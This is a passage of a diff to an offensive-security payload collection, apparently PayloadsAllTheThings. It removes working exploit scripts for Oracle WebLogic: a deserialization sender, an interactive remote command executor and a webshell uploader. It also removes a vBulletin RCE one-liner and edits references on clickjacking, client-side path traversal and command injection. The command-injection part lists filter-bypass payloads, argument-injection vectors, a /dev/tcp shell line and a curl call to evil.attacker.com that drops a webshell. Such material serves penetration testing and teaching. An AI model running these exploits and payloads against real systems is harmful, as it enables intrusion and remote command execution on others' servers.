-payload += '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
-
-# adjust header for appropriate message length
-payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
-
-print('[*] Sending payload')
-sock.send(payload)

CVE Exploits/WebLogic CVE-2017-10271.py

@@ -1,63 +0,0 @@
-from __future__ import print_function
-from builtins import input
-import requests
-import sys
-
-url_in = sys.argv[1]
-payload_url = url_in + "/wls-wsat/CoordinatorPortType"
-payload_header = {'content-type': 'text/xml'}
-
-
-def payload_command (command_in):
-    html_escape_table = {
-        "&": "&",
-        '"': """,
-        "'": "'",
-        ">": ">",
-        "<": "&lt;",
-    }
-    command_filtered = "<string>"+"".join(html_escape_table.get(c, c) for c in command_in)+"</string>"
-    payload_1 = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n" \
-                "   <soapenv:Header> " \
-                "       <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"> \n" \
-                "           <java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\"> \n" \
-                "               <void class=\"java.lang.ProcessBuilder\"> \n" \
-                "                  <array class=\"java.lang.String\" length=\"3\">" \
-                "                      <void index = \"0\">                       " \
-                "                          <string>cmd</string>                 " \
-                "                      </void>                                    " \
-                "                      <void index = \"1\">                       " \
-                "                          <string>/c</string>                  " \
-                "                      </void>                                    " \
-                "                      <void index = \"2\">                       " \
-                + command_filtered + \
-                "                      </void>                                    " \
-                "                  </array>" \
-                "                  <void method=\"start\"/>" \
-                "                  </void>" \
-                "            </java>" \
-                "        </work:WorkContext>" \
-                "   </soapenv:Header>" \
-                "   <soapenv:Body/>" \
-                "</soapenv:Envelope>"
-    return payload_1
-
-def do_post(command_in):
-    result = requests.post(payload_url, payload_command(command_in ),headers = payload_header)
-
-    if result.status_code == 500:
-        print("Command Executed \n")
-    else:
-        print("Something Went Wrong \n")
-
-
-
-print("***************************************************** \n" \
-       "****************   Coded By 1337g  ****************** \n" \
-       "*  CVE-2017-10271 Blind Remote Command Execute EXP  * \n" \
-       "***************************************************** \n")
-
-while 1:
-    command_in = input("Eneter your command here: ")
-    if command_in == "exit" : exit(0)
-    do_post(command_in)

CVE Exploits/WebLogic CVE-2018-2894.py

@@ -1,128 +0,0 @@
-#!/usr/bin/env python
-# coding:utf-8
-# Build By LandGrey
-
-from __future__ import print_function
-from builtins import str
-import re
-import sys
-import time
-import argparse
-import requests
-import traceback
-import xml.etree.ElementTree as ET
-
-
-def get_current_work_path(host):
-    geturl = host + "/ws_utc/resources/setting/options/general"
-    ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'}
-    values = []
-    try:
-        request = requests.get(geturl)
-        if request.status_code == 404:
-            exit("[-] {}  don't exists CVE-2018-2894".format(host))
-        elif "Deploying Application".lower() in request.text.lower():
-            print("[*] First Deploying Website Please wait a moment ...")
-            time.sleep(20)
-            request = requests.get(geturl, headers=ua)
-        if "</defaultValue>" in request.content:
-            root = ET.fromstring(request.content)
-            value = root.find("section").find("options")
-            for e in value:
-                for sub in e:
-                    if e.tag == "parameter" and sub.tag == "defaultValue":
-                        values.append(sub.text)
-    except requests.ConnectionError:
-        exit("[-] Cannot connect url: {}".format(geturl))
-    if values:
-        return values[0]
-    else:
-        print("[-] Cannot get current work path\n")
-        exit(request.content)
-
-
-def get_new_work_path(host):
-    origin_work_path = get_current_work_path(host)
-    works = "/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css"
-    if "user_projects" in origin_work_path:
-        if "\\" in origin_work_path:
-            works = works.replace("/", "\\")
-            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains"
-            dir_len = len(current_work_home.split("\\"))
-            domain_name = origin_work_path.split("\\")[dir_len]
-            current_work_home += "\\" + domain_name + works
-        else:
-            current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains"
-            dir_len = len(current_work_home.split("/"))
-            domain_name = origin_work_path.split("/")[dir_len]
-            current_work_home += "/" + domain_name + works
-    else:
-        current_work_home = origin_work_path
-        print("[*] cannot handle current work home dir: {}".format(origin_work_path))
-    return current_work_home
-
-
-def set_new_upload_path(host, path):
-    data = {
-        "setting_id": "general",
-        "BasicConfigOptions.workDir": path,
-        "BasicConfigOptions.proxyHost": "",
-        "BasicConfigOptions.proxyPort": "80"}
-    request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers)
-    if "successfully" in request.content:
-        return True
-    else:
-        print("[-] Change New Upload Path failed")
-        exit(request.content)
-
-
-def upload_webshell(host, uri):
-    set_new_upload_path(host, get_new_work_path(host))
-    files = {
-        "ks_edit_mode": "false",
-        "ks_password_front": password,
-        "ks_password_changed": "true",
-        "ks_filename": ("360sglab.jsp", upload_content)
-    }
-
-    request = requests.post(host + uri, files=files)
-    response = request.text
-    match = re.findall("<id>(.*?)</id>", response)
-    if match:
-        tid = match[-1]
-        shell_path = host + "/ws_utc/css/config/keystore/" + str(tid) + "_360sglab.jsp"
-        if upload_content in requests.get(shell_path, headers=headers).content:
-            print("[+] {} exists CVE-2018-2894".format(host))
-            print("[+] Check URL: {} ".format(shell_path))
-        else:
-            print("[-] {}  don't exists CVE-2018-2894".format(host))
-    else:
-        print("[-] {}  don't exists CVE-2018-2894".format(host))
-
-
-if __name__ == "__main__":
-    start = time.time()
-    password = "360sglab"
-    url = "/ws_utc/resources/setting/keystore"
-    parser = argparse.ArgumentParser()
-    parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str,
-                        help="target, such as: http://example.com:7001")
-
-    upload_content = "360sglab test"
-    headers = {
-        'Content-Type': 'application/x-www-form-urlencoded',
-        'X-Requested-With': 'XMLHttpRequest', }
-
-    if len(sys.argv) == 1:
-        sys.argv.append('-h')
-    args = parser.parse_args()
-    target = args.target
-
-    target = target.rstrip('/')
-    if "://" not in target:
-        target = "http://" + target
-    try:
-        upload_webshell(target, url)
-    except Exception as e:
-        print("[-] Error: \n")
-        traceback.print_exc()

CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh

@@ -1 +0,0 @@
-curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"

Clickjacking/README.md

@@ -28,13 +28,12 @@
 * [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
 * [machine1337/clickjack](https://github.com/machine1337/clickjack)
 
-
 ## Methodology
 
 ### UI Redressing
 
-UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application. 
+UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
-The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, 
+The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
 the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
 
 * **How UI Redressing Works:**
@@ -51,8 +50,8 @@ the attacker can trick the user into interacting with the hidden content, believ
 
 ### Invisible Frames
 
-Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly. 
+Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
-These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;). 
+These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
 The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
 
 * **How Invisible Frames Work:**
@@ -66,7 +65,6 @@ The content inside these invisible frames can be malicious, such as phishing for
     * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
     * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
 
-
 ### Button/Form Hijacking
 
 Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
@@ -77,7 +75,7 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
     ```html
     <button onclick="submitForm()">Click me</button>
     ```
-    
+
     * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
 
     ```html
@@ -119,7 +117,6 @@ Button/Form Hijacking is a Clickjacking technique where attackers trick users in
   }
 ```
 
-
 ## Preventive Measures
 
 ### Implement X-Frame-Options Header
@@ -132,7 +129,7 @@ Header always append X-Frame-Options SAMEORIGIN
 
 ### Content Security Policy (CSP)
 
-Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames. 
+Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
 Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
 Example in HTML meta tag:
 
@@ -175,7 +172,7 @@ Example in HTML meta tag:
 
 * The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
 
-_204 page:_
+204 page:
 
 ```php
 <?php
@@ -183,7 +180,7 @@ _204 page:_
 ?>
 ```
 
-_Attacker's Page_
+Attacker's Page:
 
 ```js
 <script>
@@ -204,7 +201,8 @@ _Attacker's Page_
 
 ## XSS Filter
 
-### IE8 XSS filter 
+### IE8 XSS filter
+
 This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
 
 ```html
@@ -245,16 +243,14 @@ Inspect the following code:
 
 Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
 
-
 ## Labs
 
 * [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
 * [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
 
-
 ## References
 
-- [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
+* [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://web.archive.org/web/20200510214313/https://clickjacker.io/)
-- [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
+* [Clickjacking - Gustav Rydstedt - April 28, 2020](https://web.archive.org/web/20200428022051/https://owasp.org/www-community/attacks/Clickjacking)
-- [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
+* [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://web.archive.org/web/20240917212838/https://www.synopsys.com/glossary/what-is-clickjacking.html)
-- [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)
+* [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://web.archive.org/web/20260215062230/https://portswigger.net/web-security/clickjacking)

Client Side Path Traversal/README.md

@@ -1,12 +1,9 @@
 # Client Side Path Traversal
 
 > Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.  
-
 > It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.  
-
 > Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -16,17 +13,15 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Tools
 
 * [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
 
-
 ## Methodology
 
 ### CSPT to XSS
 
-![](https://matanber.com/images/blog/cspt-query-param.png)
+![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)
 
 A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
 
@@ -37,7 +32,6 @@ A post-serving page calls the fetch function, sending a request to a URL with at
 * A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
 * Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
 
-
 ### CSPT to CSRF
 
 A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
@@ -52,28 +46,27 @@ A CSPT is redirecting legitimate HTTP requests, allowing the front end to add ne
 | 1-click CSRF ?                              | :x:                | :white_check_mark: |
 | Does impact depend on source and on sinks ? | :x:                | :white_check_mark: |
 
-
 Real-World Scenarios:
 
 * 1-click CSPT2CSRF in Rocket.Chat
 * CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
 * CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
 * [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
-* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652) 
+* [CVE-2023-5123 : CSPT2CSRF in Grafana’s JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
-
 
 ## Labs
 
 * [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
 * [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
 
-
 ## References
 
-- [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
+* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://web.archive.org/web/20260222183040/https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
-- [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
+* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://web.archive.org/web/20240702212818/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
-- [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
+* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://web.archive.org/web/20250521192653/https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
-- [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
+* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://web.archive.org/web/20240703155707/https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
-- [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
+* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://web.archive.org/web/20260212042947/https://portswigger.net/blog/on-site-request-forgery)
-- [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
+* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://web.archive.org/web/20240512110749/https://matanber.com/blog/cspt-levels)
-- [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
+* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://web.archive.org/web/20241004042613/https://vitorfalcao.com/posts/automating-cspt-discovery/)
+* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://web.archive.org/web/20241203171704/https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
+* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://web.archive.org/web/20250109093347/https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

Command Injection/README.md

@@ -2,7 +2,6 @@
 
 > Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -27,6 +26,7 @@
     * [Bypass With $()](#bypass-with--1)
     * [Bypass With Variable Expansion](#bypass-with-variable-expansion)
     * [Bypass With Wildcards](#bypass-with-wildcards)
+    * [Bypass With Random Case](#bypass-with-random-case)
 * [Data Exfiltration](#data-exfiltration)
     * [Time Based Data Exfiltration](#time-based-data-exfiltration)
     * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
@@ -38,20 +38,18 @@
     * [Challenge](#challenge)
 * [References](#references)
 
-
 ## Tools
 
 * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
 * [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
 
-
 ## Methodology
 
 Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
 
 The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
 
-**Example of Command Injection with PHP**:    
+**Example of Command Injection with PHP**:
 Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
 
 ```php
@@ -67,7 +65,6 @@ If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual comman
 
 This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
 
-
 ### Basic Commands
 
 Execute the command and voila :p
@@ -81,11 +78,9 @@ sys:x:3:3:sys:/dev:/bin/sh
 ...
 ```
 
-
 ### Chaining Commands
 
-In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands. 
+In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
-
 
 * `;` (Semicolon): Allows you to execute multiple commands sequentially.
 * `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
@@ -101,81 +96,104 @@ command1 & command2  # Execute command1 in the background
 command1 | command2  # Pipe the output of command1 into command2
 ```
 
-
 ### Argument Injection
 
 Gain a command execution when you can only append arguments to an existing command.
 Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
 
 * Chrome
+
     ```ps1
     chrome '--gpu-launcher="id>/tmp/foo"'
     ```
 
 * SSH
+
     ```ps1
     ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
     ```
 
 * psql
+
     ```ps1
     psql -o'|id>/tmp/foo'
     ```
 
+Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
+
+In the following example, the payload `＂ --use-askpass=calc ＂` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
+
+```php
+$url = "https://example.tld/" . $_GET['path'] . ".txt";
+system("wget.exe -q " . escapeshellarg($url));
+```
+
 Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
 
 * curl
+
     ```ps1
     # -o, --output <file>        Write to file instead of stdout
     curl http://evil.attacker.com/ -o webshell.php
     ```
-    
 
 ### Inside A Command
 
-* Command injection using backticks. 
+* Command injection using backticks.
+
   ```bash
   original_cmd_by_server `cat /etc/passwd`
   ```
+
 * Command injection using substitution
+
   ```bash
   original_cmd_by_server $(cat /etc/passwd)
   ```
 
-
 ## Filter Bypasses
 
 ### Bypass Without Space
 
-* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead. 
+* `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
+
   ```powershell
   cat${IFS}/etc/passwd
   ls${IFS}-la
   ```
+
 * In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
+
   ```powershell
   {cat,/etc/passwd}
   ```
-* Input redirection. The < character tells the shell to read the contents of the file specified. 
+
+* Input redirection. The < character tells the shell to read the contents of the file specified.
+
   ```powershell
   cat</etc/passwd
   sh</dev/tcp/127.0.0.1/4242
   ```
-* ANSI-C Quoting 
+
+* ANSI-C Quoting
+
   ```powershell
   X=$'uname\x20-a'&&$X
   ```
+
 * The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
+
   ```powershell
   ;ls%09-al%09/home
   ```
+
 * In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
+
   ```powershell
   ping%CommonProgramFiles:~10,-18%127.0.0.1
   ping%PROGRAMFILES:~10,-5%127.0.0.1
   ```
 
-
 ### Bypass With A Line Return
 
 Commands can also be run in sequence with newlines
@@ -185,21 +203,22 @@ original_cmd_by_server
 ls
 ```
 
-
 ### Bypass With Backslash Newline
 
 * Commands can be broken into parts by using backslash followed by a newline
+
   ```powershell
   $ cat /et\
   c/pa\
   sswd
   ```
+
 * URL encoded form would look like this:
+
   ```powershell
   cat%20/et%5C%0Ac/pa%5C%0Asswd
   ```
 
-
 ### Bypass With Tilde Expansion
 
 ```powershell
@@ -219,7 +238,6 @@ echo ~-
 {,/?s?/?i?/c?t,/e??/p??s??,}
 ```
 
-
 ### Bypass Characters Filter
 
 Commands execution without backslash and slash - linux bash
@@ -307,7 +325,6 @@ who$@ami
 echo whoami|$0
 ```
 
-
 ### Bypass With $()
 
 ```powershell
@@ -333,6 +350,13 @@ powershell C:\*\*2\n??e*d.*? # notepad
 @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
 ```
 
+### Bypass With Random Case
+
+Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.
+
+```powershell
+wHoAmi
+```
 
 ## Data Exfiltration
 
@@ -341,6 +365,7 @@ powershell C:\*\*2\n??e*d.*? # notepad
 Extracting data char by char and detect the correct value based on the delay.
 
 * Correct value: wait 5 seconds
+
   ```powershell
   swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
   real    0m5.007s
@@ -349,6 +374,7 @@ Extracting data char by char and detect the correct value based on the delay.
   ```
 
 * Incorrect value: no delay
+
   ```powershell
   swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
   real    0m0.002s
@@ -356,29 +382,29 @@ Extracting data char by char and detect the correct value based on the delay.
   sys 0m0.000s
   ```
 
-
 ### Dns Based Data Exfiltration
 
 Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
 
-1. Go to http://dnsbin.zhack.ca/
+1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
 2. Execute a simple 'ls'
+
   ```powershell
